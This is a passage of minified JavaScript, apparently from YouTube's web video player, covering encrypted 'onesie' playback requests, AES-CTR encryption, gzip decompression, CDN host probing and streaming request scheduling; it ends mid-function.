Z1J=function(x){var T="";x=g.S(x);for(var t=x.next();!t.done;t=x.next()){t=t.value;var u=void 0,H=void 0,I=void 0;T+="fmt."+(((u=t.formatId)==null?void 0:u.itag)||"")+"_"+(((H=t.formatId)==null?void 0:H.lmt)||0)+"_"+(((I=t.formatId)==null?void 0:I.xtags)||"")+";st."+(t.startTimeMs||0).toFixed(3)+";d."+(t.durationMs||0).toFixed(3)+";"}return T};
cj=function(x,T,t){var u=this;this.requestType=x;this.QA=T;this.P9=t;this.Z=null;this.yF={IUm:function(){var H;return(H=u.data)==null?void 0:H.isPrefetch},
GK:function(){var H;return(H=u.data)==null?void 0:H.GK}}};
wti=function(x,T,t){T=cH(x.QA,eeV(x,T,t),T);x.hH()&&T.set("probe","1");return T};
eeV=function(x,T,t){x.ib===void 0&&(x.ib=x.QA.ib(T,t));return x.ib};
lmm=function(x){var T,t;return((T=x.C)==null?void 0:(t=T.E_)==null?void 0:t.RS)||0};
m_f=function(x){var T,t;return!!((T=x.C)==null?0:(t=T.E_)==null?0:t.ey)};
d_v=function(x){var T={},t=[],u=[];if(!x.data)return T;for(var H=0;H<x.data.v9.length;H++){var I=x.data.v9[H],E=void 0;t.push("i."+((E=I.formatId)==null?void 0:E.itag)+"_st."+(I.startTimeMs+"_e."+(I.startTimeMs+I.durationMs)+"_d."+I.durationMs)+("_sn."+I.t$)+("_en."+I.CK))}for(H=0;H<x.data.eb.length;H++){I=x.data.eb[H];var Z=E=void 0,e=void 0,l=void 0;u.push("i."+((E=I.formatId)==null?void 0:E.itag)+"_sn."+I.sequenceNumber+"_sl."+(I.a4||NaN)+"_lb."+I.HN+"_tr.s_"+((Z=I.pS)==null?void 0:Z.startTicks)+
"_d_"+((e=I.pS)==null?void 0:e.zf)+"_t_"+((l=I.pS)==null?void 0:l.timescale)+"_ed_"+I.uP)}T.ptime=lmm(x);T.rtype=x.requestType;T.brl=t.join(";");T.ps=u.join(";");return T};
Mif=function(x){if(x.Ap)return{B5:g.Z9(x.experiments,"html5_future_encryptor_auto_select_js_max_size_bytes"),dk:g.Z9(x.experiments,"html5_future_encryptor_auto_select_wasm_max_size_bytes")}};
YA=function(x,T){this.OY=x;this.cipher=this.OY.exports.AES128CTRCipher_create(T.byteOffset)};
Uo=function(x){return function(T){return{profile:x,Ar:Math.ceil(T.byteLength/16)}}};
bE=function(x,T){this.key=x;this.subtleCrypto=T;this.C=!1};
AFX=function(x){var T=globalThis.crypto.subtle;T=T===void 0?window.crypto.subtle:T;return mH(ev(function(){return T.importKey("raw",x,"AES-CTR",!1,["encrypt"]).catch(function(t){return Promise.reject(t.name+": "+t.message)})}),function(t){return new bE(t,T)})};
rB=function(x){this.C=!1;this.Z=new l1(x)};
zI=function(x,T){this.OY=x;var t=x.aA(T);this.C=new YA(x,t!=null?t:T);t&&x.free(t.byteOffset)};
ReD=function(x){g.Vh("wasm encryptor failed: "+x);throw x;};
kA=function(x,T,t){var u=this;this.key=x;this.K=this.T=!1;this.B5=32768;this.dk=131072;T==null||mH(T,function(H){u.C=new zI(H,u.key);u.K=H.Vv});
if(t==null?0:t.dk)this.dk=t.dk;if(t==null?0:t.B5)this.B5=t.B5};
Pmm=function(x,T,t){x.Z||(x.Z=new rB(x.key));return dI(x.Z.encrypt(T,t),ReD)};
S0H=function(x,T,t){if(!x.j){if(!("crypto"in globalThis&&"subtle"in globalThis.crypto))return jv("native encryptor unavailable");x.j=AFX(x.key)}return dI(mH(x.j,function(u){return u.encrypt(T,t)}),ReD)};
Fa=function(x,T,t){this.C=x;this.OY=T;this.K=t;this.j=!1;this.iv=(0,g.A$)(Pz(16))};
cFX=function(x){x.Z||(x.Z=new kA(x.C.C,x.OY,x.K));return x.Z};
Y0m=function(x,T){var t;return g.G(function(u){(0,g.bo)();t=L8q(x.C);return u.return(t.encrypt(T,x.iv))})};
U_3=function(x,T){var t;return g.G(function(u){(0,g.bo)();var H=x.C;H.K||(H.K=new pzD(H.j));t=H.K;return u.return(wz5(t,T,x.iv))})};
b1i=function(x,T,t){var u;return g.G(function(H){(0,g.bo)();u=L8q(x.C);return H.return(u.decrypt(T,t))})};
hs=function(x){g.W.call(this);var T=this;this.Cf=x;this.C=new Map;this.K=[];this.Z=!this.Cf.experiments.aU("html5_disable_trusted_hosts")&&!Ad();this.S=g.Z9(this.Cf.experiments,"html5_onesie_prewarm_interval_ms");this.J=new g.wX(this.N,this.S,this);this.D=-1;this.yF={MlW:function(){return T.C},
cJv:function(){return T.T},
RjY:function(){return rF4}};
g.y(this,this.J);EWX(this,g.VT("yt-player-bandaid-host"));this.T=this.load();this.S&&this.T.then(function(){T.N()})};
EWX=function(x,T){var t=T==null?void 0:T.primary;x.j(0,t);t=t?ze3(t):void 0;x.j(2,t);x.j(1,T==null?void 0:T.secondary)};
vj=function(x,T){return new g.ct("https://"+T+x.Cf.vD.baseUrl)};
kwH=function(x,T){x="https://"+UK(T.location)+"/initplayback?c="+wV(x.Cf)+"&owc=1";Uz(x,"pw",function(t){t.ht=T.C})};
Vz=function(x,T,t,u){Uz("https://"+T+"/videoplayback?probe=1",t,function(H){!u.B("html5_onesie_host_racing")||u.videoData.isLivePlayback||u.B("html5_onesie_probe_ec_hosts")||u.JO||u.V_();x.K.push(H)},function(H){x.K.push(H.details)})};
ze3=function(x){return x.replace(/(\d+)---/g,function(T,t){T=Number(t);return(T===1?2:T-1)+"---"})};
GI=function(x,T){var t,u,H,I,E,Z,e,l;return g.G(function(m){if(m.C==1){t=vj(x,"redirector.googlevideo.com");t.set("alr","yes");t.set("id",""+Math.round(Math.random()*1E5));if(T===1||T===2)t.set("cmo=sensitive_content","yes"),t.set("sc","yes");T===2&&t.set("cmo=td","c.youtube.com");u={format:"RAW",timeout:5E3};return g.v(m,z9(t.sY(),u),2)}H=m.Z;if(H.xhr.status!==200||!H.xhr.responseText)return m.return(Promise.reject(new g.CS("b204258371_no_host",t.sY(),H.xhr.status)));I=new g.ct(H.xhr.responseText);
E=UK(I);Z=I.get("ms");e=vj(x,E);l=I.get("mm");e.set("ms",Z);e.set("mm",l);return E&&I5q(E)?T!==2||Iw(E)?m.return(e):m.return(Promise.reject(new g.CS("b204258371_untrusted",E,Z))):m.return(Promise.reject(new g.CS("b204258371_invalid",E,Z)))})};
FIC=function(x){var T=x.K;x.K=[];return T};
I5q=function(x){return/.*(\.c\.youtube\.com|.*\.googlevideo\.com)/.test(x)};
Iw=function(x){var T=/sn-[^.]*-/;return/.*\.c\.youtube\.com/.test(x)&&!T.test(x)};
heV=function(x,T){this.location=x;this.C=T};
L0=function(x){this.b3=x;this.Z=!1;this.C=[]};
aD=function(x){for(;x.C.length&&!x.C[0].isEncrypted;){var T=x.C.shift(),t=T.videoId,u=T.Gi,H=T.formatId,I=T.buffer;T=T.oz;if(I)T=void 0,(T=n0(x.b3.Dk,t))==null||kV(T,u,H,I);else if(T)x.b3.Dk.jl(t,u,H);else if(u=x.b3,u.C[H].UE=!0,t=n0(u.Dk,t),t==null?0:t.YP.has(H))t==null||UE(t,H)}};
g.Js=function(x){this.data=x;this.C=0;this.K=!1;this.j=0;this.error=!1;this.register=this.Z=0;if(gB.length===0){gB.length=288;gB.fill(8);for(x=144;x<280;x++)gB[x]=x<=255?9:7;Bj.length=32;Bj.fill(5);Wj.length=286;Wj.fill(0);for(x=261;x<285;x++)Wj[x]=Math.floor((x-261)/4);DO[257]=3;for(x=258;x<285;x++){var T=DO[x-1];T+=1<<Wj[x-1];DO[x]=T}DO[285]=258;for(x=0;x<30;x++)yz[x]=x<=3?0:Math.floor((x-2)/2);for(x=Nd[0]=1;x<30;x++)T=Nd[x-1],T+=1<<yz[x-1],Nd[x]=T}x=100+7*this.data.length;this.data[0]===31&&this.data[1]===
139&&(x=(new DataView(this.data.buffer,this.data.byteOffset+this.data.length-4)).getUint32(0,!0),this.data=this.data.subarray(10,this.data.length-8));this.output=new Uint8Array(x)};
g.am5=function(x){for(;!x.K&&!x.error;){var T=x;T.K=!!C0(T,1);switch(C0(T,2)){case 2:var t=[],u=[];u.length=19;u.fill(0);var H=C0(T,5)+257;var I=C0(T,5)+1;for(var E=C0(T,4)+4,Z=0;Z<E;Z++)u[v3f[Z]]=C0(T,3);u=Vii(u);for(E=H+I;t.length<E;){Z=Gwm(T,u);switch(Z){case 16:Z=t[t.length-1];var e=C0(T,2)+3;break;case 17:Z=0;e=C0(T,3)+3;break;case 18:Z=0;e=C0(T,7)+11;break;default:e=1}for(;e>0;e--)t.push(Z)}t.length!==E?T.error=!0:(I=t.slice(-I),t.length=H,LIV(T,t,I));break;case 1:LIV(T,gB,Bj);break;case 0:n3q(T,
T.C&7);t=C0(T,16);H=C0(T,16);(t^H)!==65535&&(T.error=!0);T.output.set(T.data.subarray(T.Z,T.Z+t),T.j);T.Z+=t;T.j+=t;break;default:T.error=!0}x.j>x.output.length&&(x.output=new Uint8Array(x.j*2),x.j=0,x.Z=0,x.K=!1,x.C=0,x.register=0)}x.output.length!==x.j&&(x.output=x.output.subarray(0,x.j));return x.error?new Uint8Array(0):x.output};
LIV=function(x,T,t){T=Vii(T);t=Vii(t);for(var u=x.data,H=x.output,I=x.j,E=x.register,Z=x.C,e=x.Z;;){if(Z<15){if(e>u.length){x.error=!0;break}E|=(u[e+1]<<8)+u[e]<<Z;e+=2;Z+=16}var l=T[E&127];if(l<0)for(E>>=7;l<0;)l=T[(E&1)-l],E>>=1;else E>>=l&15;Z-=l&15;l>>=4;if(l<256)H[I++]=l;else if(x.register=E,x.C=Z,x.Z=e,l>256){E=DO[l];E+=C0(x,Wj[l]);e=Gwm(x,t);Z=Nd[e];Z+=C0(x,yz[e]);if(g3m&&E<Z)Z=I-Z,H.copyWithin(I,Z,Z+E);else for(e=I+E,l=I;l<e;l+=4)H[l]=H[l-Z],H[l+1]=H[l-Z+1],H[l+2]=H[l-Z+2],H[l+3]=H[l-Z+3];
I+=E;E=x.register;Z=x.C;e=x.Z}else break}x.j=I};
Gwm=function(x,T){if(x.C<7){var t=x.data,u=x.Z;u>t.length&&(x.error=!0);x.register|=(t[u+1]<<8)+t[u]<<x.C;x.Z+=2;x.C+=16}t=T[x.register&127];if(t>=0)return n3q(x,t&15),t>>4;for(n3q(x,7);t<0;)t=T[C0(x,1)-t];return t>>4};
C0=function(x,T){for(;x.C<T;){if(x.Z>=x.data.length)return x.error=!0,0;x.register|=x.data[x.Z++]<<x.C;x.C+=8}var t=x.register&(1<<T)-1;x.register>>=T;x.C-=T;return t};
n3q=function(x,T){x.C-=T;x.register>>=T};
Vii=function(x){for(var T=[],t=g.S(x),u=t.next();!u.done;u=t.next())u=u.value,T[u]||(T[u]=0),T[u]++;var H=T[0]=0;t=[];var I=0;u=0;for(var E=1;E<T.length;E++)T[E]?u=E:T[E]=0,H=H+T[E-1]<<1,t[E]=H,E>7&&(I+=T[E]);for(H=1;H<I;)H<<=1;T=128;u=new Int16Array(128+(H+u)*2);for(I=0;I<x.length;I++)if(E=x[I]){for(var Z=t[E]++,e=H=0;e<E;e++)H=H<<1|Z>>e&1;Z=I<<4|E;if(E<=7)for(e=1<<7-E;e--;)u[e<<E|H]=Z;else{e=H&127;E-=7;for(H>>=7;E--;){u[e]||(u[e]=-T,T+=2);var l=H&1;H>>=1;e=l-u[e]}u[e]=Z}}return u};
Bs4=function(x){var T,t,u,H,I,E,Z;return g.G(function(e){switch(e.C){case 1:if(!("DecompressionStream"in window))return e.return(g.am5(new g.Js(x)));T=new DecompressionStream("gzip");t=T.writable.getWriter();t.write(x);t.close();u=T.readable.getReader();H=new mi([]);case 2:return g.v(e,u.read(),5);case 5:I=e.Z;E=I.value;if(Z=I.done){e.lG(4);break}H.append(E);e.lG(2);break;case 4:return e.return(H.QX())}})};
Qz=function(x,T){this.C=x;this.OY=T};
WIv=function(x){return dI(dI(ev(function(){return mH(x.OY,function(T){return x.wO(x.C,T)})}),function(){return x.AS(x.C)}),function(){return x.GA(x.C)})};
D_H=function(x,T){return WIv(new Qz(x,T))};
JFX=function(x){P6.call(this,"onesie");this.Dk=x;this.C={};this.j=!0;this.K=null;this.queue=new L0(this);this.T={};this.D=Tiq(function(T,t){var u=this;return function I(){var E,Z,e,l,m,d,M,A,R,Y,b,z,F,V,B,D,f,O,sH,HX;return Z43(I,function(xq){switch(xq.C){case 1:g.Sm(xq,2);u.Dk.dT();E=function(J){return function(X){throw{name:J,message:X};}};
Z=T.QX();g.PX(xq,4,5);if(!t){xq.lG(7);break}return i4m(xq,dI(yFX(u.Dk,Z,u.iv),E("DecryptError")).wait(),8);case 8:e=xq.Z;case 7:if(!u.Dk.enableCompression){xq.lG(9);break}return i4m(xq,dI(D_H((d=e)!=null?d:Z,u.Dk.Y().Ap),E("DecompressError")).wait(),10);case 10:l=xq.Z;case 9:m=B5((A=(M=l)!=null?M:e)!=null?A:Z,omv);case 5:g.UH(xq,0,2);if(Y=(R=u.Dk.Y())==null?void 0:R.OY)((b=e)==null?void 0:b.buffer)===Y.exports.memory.buffer&&Y.free(e.byteOffset),((z=l)==null?void 0:z.buffer)===Y.exports.memory.buffer&&
Y.free(l.byteOffset);g.b3(xq,6);break;case 4:throw V=F=g.Yq(xq),new r4("onesie.response.parse",{name:(O=V.name)!=null?O:"unknown",message:(sH=V.message)!=null?sH:"unknown",wasm:((B=u.Dk.Y())==null?0:B.OY)?((D=u.Dk.Y())==null?0:(f=D.OY)==null?0:f.Vv)?"1js":"1":"0",enc:u.j,gz:u.Dk.enableCompression,webcrypto:!!Ad()});case 6:return Nsi(m),HX=g.U6(m.body),xq.return(HX);case 2:g.UH(xq),g.b3(xq,0)}})}()})};
Cmf=function(x){var T=x.queue;T.C.length&&T.C[0].isEncrypted&&!T.Z&&(T.C.length=0);T=g.S(Object.keys(x.C));for(var t=T.next();!t.done;t=T.next()){t=t.value;var u=x.C[t];if(!u.UE){var H=x.queue;H.C.push({videoId:u.videoId,formatId:t,isEncrypted:!1});H.Z||aD(H)}}};
p_5=function(x,T){var t=T.getLength(),u=!1;switch(x.K){case 0:x.Dk.B("html5_future_onesie_ump_handler_on_player_response")?dI(mH(x.D(T,x.j),function(H){QQf(x.Dk,H)}),function(H){x.Dk.Zw(H)}):x.dT(T,x.j).then(function(H){QQf(x.Dk,H)},function(H){x.Dk.Zw(H)});
break;case 2:x.lI("ormk");T=T.QX();x.queue.decrypt(T);break;default:u=!0}x.Dk.Ay&&x.Dk.kc("ombup","id.11;pt."+x.K+";len."+t+(u?";ignored.1":""));x.K=null};
Nsi=function(x){if(x.XE!==1)throw new r4("onesie.response.badproxystatus",{st:x.XE,webcrypto:!!Ad(),textencoder:!!g.BX.TextEncoder});if(x.fn!==200)throw new r4("onesie.response.badstatus",{st:x.fn});};
O1f=function(x){return new Promise(function(T){setTimeout(T,x)})};
fm3=function(x,T){var t=x.Y();t=x.C4&&t.B("html5_onesie_preload_use_content_owner");var u=x.dJ,H=XT(T.Cf.experiments,"debug_bandaid_hostname");if(H)T=vj(T,H);else if((t===void 0?0:t)&&(u==null?0:u.url)&&!T.Z){var I=UK(new g.ct(u.url));T=vj(T,I)}else T=(I=T.C.get(0))==null?void 0:I.location.clone();if(T&&x.videoId){I=im(x.videoId);x=[];if(I)for(I=g.S(I),t=I.next();!t.done;t=I.next())x.push(t.value.toString(16).padStart(2,"0"));T.set("id",x.join(""));return T}};
w_v=function(x,T,t){t=t===void 0?0:t;var u,H;return g.G(function(I){if(I.C==1)return u=[],u.push(T.load()),t>0&&u.push(O1f(t)),g.v(I,Promise.race(u),2);H=fm3(x,T);return I.return(H)})};
KIC=function(x,T,t,u){u=u===void 0?!1:u;x.set("cpn",T.clientPlaybackNonce);x.set("opr","1");var H=T.Y();x.set("por","1");Ad()||x.set("onem","1");T.startSeconds>0&&x.set("osts",""+T.startSeconds);u||(H.B("html5_onesie_disable_partial_segments")&&x.set("oses","1"),T=H.B("html5_gapless_onesie_no_media_bytes")&&tB(T)&&T.C4,t&&!T?(T=t.audio,x.set("pvi",t.video.join(",")),H.B("html5_onesie_disable_audio_bytes")||x.set("pai",T.join(",")),KY||x.set("osh","1")):(x.set("oad","0"),x.set("ovd","0"),x.set("oaad",
"0"),x.set("oavd","0")))};
X_3=function(x,T,t,u,H){H=H===void 0?!1:H;var I="https://youtubei.googleapis.com/youtubei/"+T.WD.innertubeApiVersion+"/player",E=[{name:"Content-Type",value:"application/json"}];u&&E.push({name:"Authorization",value:"Bearer "+u});E.push({name:"User-Agent",value:g.FF()});g.pr("EOM_VISITOR_DATA")?E.push({name:"X-Goog-EOM-Visitor-Id",value:g.pr("EOM_VISITOR_DATA")}):(t=t.visitorData||g.pr("VISITOR_DATA"))&&E.push({name:"X-Goog-Visitor-Id",value:t});(t=g.pr("SERIALIZED_LAVA_DEVICE_CONTEXT"))&&E.push({name:"X-YouTube-Lava-Device-Context",
value:t});(T=XT(T.experiments,"debug_sherlog_username"))&&E.push({name:"X-Youtube-Sherlog-Username",value:T});x=z7(JSON.stringify(x));return{url:I,v8:E,postBody:x,vxG:H,Vd:H}};
T0m=function(x,T,t,u,H,I){var E=g.pn(x,T6C,x.Vd?void 0:t.OY),Z={encryptedClientKey:T.C.encryptedClientKey,kH:!0,ke:!0,rX:xEH(t,!!x.Vd),g3:t.experiments.aU("html5_use_jsonformatter_to_parse_player_response")};if(x.Vd)Z.tw7=E;else{x=T.encrypt(E);var e;if(((e=t.OY)==null?void 0:e.exports.memory.buffer)===E.buffer&&x.byteOffset!==E.byteOffset){var l;(l=t.OY)==null||l.free(E.byteOffset)}var m;x=((m=t.OY)==null?void 0:m.Ey(x))||x;E=Z.KY=x;(0,g.bo)();E=QRv(new CHD(T.C.j),E,T.iv);Z.MQ=E;Z.iv=T.iv}T=u.getVideoData();
t=dj({Pv:t,Em:u,ih:T.startSeconds*1E3});H={Kj:Z,E_:t,onesieUstreamerConfig:H,VT:I,pH:Mt(T)};T.reloadPlaybackParams&&(H.reloadPlaybackParams=T.reloadPlaybackParams);return H};
ocm=function(x,T,t){var u,H,I;return g.G(function(E){if(E.C==1)return u=g.pn(T,T6C),g.v(E,Y0m(t,u),2);if(E.C!=3)return H=E.Z,g.v(E,U_3(t,H),3);I=E.Z;return E.return({KY:H,encryptedClientKey:t.C.encryptedClientKey,iv:t.iv,MQ:I,kH:!0,ke:!0,rX:xEH(x,!!T.Vd),g3:x.experiments.aU("html5_use_jsonformatter_to_parse_player_response")})})};
tOX=function(x,T,t,u,H,I){var E,Z,e,l;return g.G(function(m){if(m.C==1)return g.v(m,ocm(t,x,T),2);E=m.Z;Z=u.getVideoData();e=dj({Pv:t,Em:u,ih:Z.startSeconds*1E3});l={Kj:E,E_:e,onesieUstreamerConfig:H,VT:I,pH:Mt(Z)};Z.reloadPlaybackParams&&(l.reloadPlaybackParams=Z.reloadPlaybackParams);return m.return(l)})};
xEH=function(x,T){x=Si(x.schedule,!0);T=T||!!Ad()&&x>1572864;return"DecompressionStream"in window||!T};
Oo=function(x,T){g.W.call(this);var t=this;this.Em=x;this.playerRequest=T;this.logger=new g.t$("onesie");this.xhr=null;this.state=1;this.f$=new XG;this.Qm=!1;this.playerResponse="";this.jf=new Kh(this);this.b3=new JFX(this);this.kO="";this.JO=this.aP=!1;this.oS="";this.enableCompression=this.YN=this.jE=!1;this.FH=[];this.Le=this.QL=-1;this.Cf=this.Em.Y();this.videoData=this.Em.getVideoData();this.Ay=this.Cf.AM();this.uK=this.Cf.vD;this.kM=new Fa(this.uK.C,this.Cf.Ap,Mif(this.Cf));this.vy=this.Cf.B("html5_onesie_check_timeout");
this.wM=new g.wX(this.F5,500,this);this.TK=new g.wX(this.V_,1E4,this);this.l5=new g.wX(function(){if(!t.isComplete()){var u=p0(t);t.Zw(new r4("net.timeout",u))}},g.Z9(this.Cf.experiments,"html5_onesie_request_timeout_ms"));
this.Wd=new g.wX(this.yMu,2E3,this);this.Yo=this.Em.cg();this.CI=this.B("html5_onesie_wait_for_media_availability");g.y(this.videoData,this);g.y(this,this.wM);g.y(this,this.TK);g.y(this,this.Wd);g.y(this,this.kM);x=oQ();KY&&x&&!this.Cf.B("html5_disable_onesie_media_bytes")&&(this.O0=new Map);this.hY=new Map;this.XP=new Map;this.s5=new Map;this.GO=new Map};
n0=function(x,T){var t;return(t=x.O0)==null?void 0:t.get(T)};
u4i=function(x,T,t){var u;return g.G(function(H){if(H.C==1)return x.lI("oprd_s"),sXH(x)?g.v(H,b1i(x.kM,T,t),3):(u=x.kM.decrypt(T,t),H.lG(2));H.C!=2&&(u=H.Z);x.lI("oprd_c");return H.return(u)})};
yFX=function(x,T,t){x.lI("oprd_s");T=cFX(x.kM).encrypt(T,t);mH(T,function(){x.lI("oprd_c")});
return T};
$E4=function(x){return x.B("html5_onesie_host_probing")||x.Ay?KY:!1};
QQf=function(x,T){x.lI("oprr");x.playerResponse=T;x.YN||(x.CI=!1);f0(x)};
f0=function(x){if(!x.playerResponse)return!1;if(x.jE)return!0;var T=x.videoData.B("html5_onesie_audio_only_playback")&&sD(x.videoData);if(x.O0&&x.CI){if(!x.O0.has(x.kO))return!1;var t=x.O0.get(x.kO),u;if(u=t){u=!1;for(var H=g.S(t.YP.keys()),I=H.next();!I.done;I=H.next())if(I=t.YP.get(I.value))for(var E=g.S(I.iW),Z=E.next();!Z.done;Z=E.next())Z.value.zT>0&&(I.iD?u=!0:T=!0);u=!(T&&u)}if(u)return!1}x.lI("ofr");x.f$.resolve(x.playerResponse);if(!x.vy){var e;(e=x.l5)==null||e.start();x.TK.start()}return x.jE=
!0};
iB3=function(x){if(x.O0&&!x.B("html5_onesie_media_capabilities")){x.lI("ogsf_s");var T=rvD(x.Em.getVideoData(),function(u,H){x.kc(u,H)}),t=HBH(x.Em);
T.video=MR4(t,T.video);x.lI("ogsf_c");if(T.video.length)return T;x.kc("ombspf","l."+t.Z+";u."+t.C+";o."+t.j+";r."+t.reason)}};
sXH=function(x,T){return x.B("html5_onesie_sync_request_encryption")||(T==null?0:T.Vd)||g.K1(x.Cf)&&x.B("html5_embed_onesie_use_sync_encryption")?!1:!!Ad()};
p0=function(x){if(!x.Ht)return{};var T=x.Ht.Sl(),t;T.d=(t=x.Ht.hQ)==null?void 0:t.vM();T.shost=x.zR;T.ty="o";return T};
IGH=function(x,T){var t,u;(u=(x=(t=x.O0)==null?void 0:t.get(T))==null)||(T=x.j?!1:x.j=!0,u=!T);return!u};
Ecv=function(x,T,t,u,H,I,E,Z,e,l,m){g.W.call(this);var d=this;this.Em=x;this.Kf=T;this.policy=t;this.audioTrack=u;this.videoTrack=H;this.gy=I;this.xP=E;this.mu=Z;this.j=e;this.timing=l;this.S=m;this.C=[];this.N={};this.G9=this.AQ=!1;this.Tt=new Set;this.T=this.nf=this.ZZ=this.lR=0;this.K=null;this.uG={v9:[],eb:[]};this.Hv={v9:[],eb:[]};this.D=null;this.QU=[];this.yF={aS7:function(){return d.C},
PR9:function(){return d.N},
Tsf:function(){d.C.length=0},
nnZ:function(){return d.Tt},
rJ9:function(){return d.ZZ},
P6u:function(M){d.ZZ=M},
y6v:function(M){d.T=M},
PQ:function(M){d.D=M}};
this.videoData=this.Em.getVideoData();this.policy.T2&&(this.hQ=new C9(this.Kf,this.policy,this.xP),g.y(this,this.hQ))};
jXV=function(x,T){T=T===void 0?!1:T;if(qPf(x,T)){x.policy.N&&x.Kf.kc("sabrcrq",{create:1});var t=new cj(0,x.gy.J,x);x.policy.aH>0&&x.T++;T=ZBJ(x,t,T);x.C.push(T);var u;(u=x.hQ)==null||NVC(u,x.gy.J)}};
dEq=function(x,T){var t=eWH(x);if(x.policy.IJ){var u=x.uG;var H=x.Hv}else u=wB(x,x.audioTrack),H=wB(x,x.videoTrack);var I=[].concat(g.U(u.v9),g.U(H.v9));x.policy.ra&&x.D&&I.push.apply(I,g.U(x.QU));var E=[].concat(g.U(u.eb),g.U(H.eb)),Z=x.Kf.Lv(),e,l,m=x.Em,d=x.gy,M=x.Z,A=x.Tt,R=x.policy,Y=x.Kf.aX,b=fXq(x.Kf)*1E3,z=(e=x.Om)==null?void 0:e.Bl;e=(l=x.Om)==null?void 0:l.oE;var F;l=Number((F=x.j.K)==null?void 0:F.info.itag)||0;var V;F=Number((V=x.j.D)==null?void 0:V.info.itag)||0;T={Em:m,gy:d,v9:I,eb:E,
ih:t,nextRequestPolicy:M,Tt:A,x6:R,aX:Y,kR:b,Bl:z,oE:e,lR:x.lR,isPrefetch:T||x.Kf.isSuspended,El:l,iS:F,z8:Z,ix:x.Em.vL()};t=x.Kf.nT();I=im(t);t&&(T.GK=I);if(t=x.Em.j$())T.ey=t*1E3;var B;t=x.j;I=t.ZZ;if((t.x6.Z&&t.x6.oo||((B=t.x6)==null?0:B.C&&B.hR))&&!I)for(B=g.S(t.j),E=B.next();!E.done;E=B.next())if(E.value.S8){I=!0;break}B=NI(t.x6)&&!I?[]:ti3(t,t.j);T.dh=B;B=x.j;NI(B.x6)&&!B.jY?B=[]:(t=E34(B),t.length===0&&(t=B.T),B=ti3(B,t));T.zm=B;T.oB=x.policy.ra&&x.D?[x.D]:void 0;x.policy.ZM&&(T.v5=lGH(x.Kf,
x.audioTrack),T.S2=lGH(x.Kf,x.videoTrack));if(x.policy.T){u=mEH(x,u.v9,H.v9);var D;if(H=(D=x.K)==null?void 0:D.Tb(u))T.o8=H}x.policy.QU&&x.C.length>0&&x.C[0].cT()&&(T.HCc=x.C[0].I6());return T};
eWH=function(x){var T,t=x.policy.D&&((T=x.Kf)==null?void 0:T.fO());T=x.Kf.getCurrentTime()||0;T=MOf(x,T);var u=x.Kf.Pk()||0;T+=u;u=zT(x.videoData)||g.rb(x.videoData);var H=0;t?(u&&(H=Number.MAX_SAFE_INTEGER),x.videoData.hQ&&(H=Math.ceil(x.videoData.QU*1E3))):H=Math.ceil(T*1E3);return Math.min(Number.MAX_SAFE_INTEGER,H)};
MOf=function(x,T){if(x.Kf.isSeeking())return T;var t=x.Em.Bt();if(!t)return T;t=t.kp();if(t.length===0||Ec(t,T))return T;if(!gC(x.videoTrack,T)&&!gC(x.audioTrack,T))return x.Kf.kc("sundrn",{b:0,lt:T}),T;for(var u=T,H=Infinity,I=0;I<t.length;I++)if(!(t.start(I)>T)){var E=T-t.end(I);E<H&&(H=E,u=t.end(I))}return u!==T&&(x.Kf.kc("sundrn",{bre:u,lt:T}),H>=20)?(x.Kf.handleError("player.exception",{reason:"bufferunderrunexceedslimit"}),T):u};
mEH=function(x,T,t){var u=x.Kf.getCurrentTime()||0;T=Ajv(x,T,u);x=Ajv(x,t,u);return Math.min(T,x)};
Ajv=function(x,T,t){x=x.Kf.Pk()||0;T=g.S(T);for(var u=T.next();!u.done;u=T.next()){var H=u.value;u=H.startTimeMs?H.startTimeMs/1E3-x:0;H=u+(H.durationMs?H.durationMs/1E3:0);if(u<=t&&t<=H)return H}return t};
qPf=function(x,T){if(x.policy.aH>0){var t=Math.floor((0,g.bo)()/1E4);if(t===x.nf){if(x.T>=x.policy.aH){if(x.T===x.policy.aH){var u={reason:"toomanyrequests"};u.limit=x.T;x.Kf.handleError("player.exception",u);x.T+=1}return!1}}else x.nf=t,x.T=0}T=!T&&!c_(x.xP)&&!x.policy.WU;if(x.Kf.isSuspended&&(x.Kf.fS||T))return!1;if(x.jY&&(0,g.bo)()<x.jY)return x.policy.WU&&g.Kt(x.Kf.cJ),!1;if(x.C.length>0&&(!x.policy.QU||x.C.length!==1||!x.C[0].cT()))return!1;var H;if((H=x.gy.J)==null||!UU(H,x.policy,x.N,x.Kf.uj()))return!1;
H=x.policy.l4&&x.policy.Z&&x.Kf.vS();if(L9(x.audioTrack)&&L9(x.videoTrack)&&!H)return!1;if(x.policy.Z&&x.J&&!x.Kf.vS())return x.Kz("ssap",{pauseontlm:1}),!1;if(K0(x,x.audioTrack)&&K0(x,x.videoTrack))return x.policy.j&&x.Kf.kc("sabrHeap",{a:""+zb(x.audioTrack),v:""+zb(x.videoTrack)}),!1;if(H=x.policy.T)H=!1,x.S.Z===2?H=!0:x.S.Z===3&&(eWH(x),x.Kf.Pk(),T=mEH(x,Uf(x.audioTrack,x.Kf.isSeeking()).v9,Uf(x.videoTrack,x.Kf.isSeeking()).v9),t=x.S,T>=t.j?(t.kc("sdai",{haltrq:T,est:t.j}),T=!0):T=!1,T&&(H=!0)),
H&&x.policy.N&&x.Kf.kc("sabrcrq",{waitad:1});if(H)return!1;x.policy.IJ&&(x.uG=wB(x,x.audioTrack),x.Hv=wB(x,x.videoTrack));if(!x.Z)return x.policy.N&&x.Kf.kc("sabrcrq",{nopolicy:1}),!0;if(x.Em.j$())return x.policy.N&&x.Kf.kc("sabrcrq",{utc:1}),!0;if(x.j.J)return x.policy.N&&x.Kf.kc("sabrcrq",{audio:1}),!0;if(!x.Z.targetAudioReadaheadMs||!x.Z.targetVideoReadaheadMs)return x.policy.N&&x.Kf.kc("sabrcrq",{noreadahead:1}),!0;if(x.policy.D&&x.Kf.fO())return x.policy.N&&x.Kf.kc("sabrcrq",{seekToHead:1}),
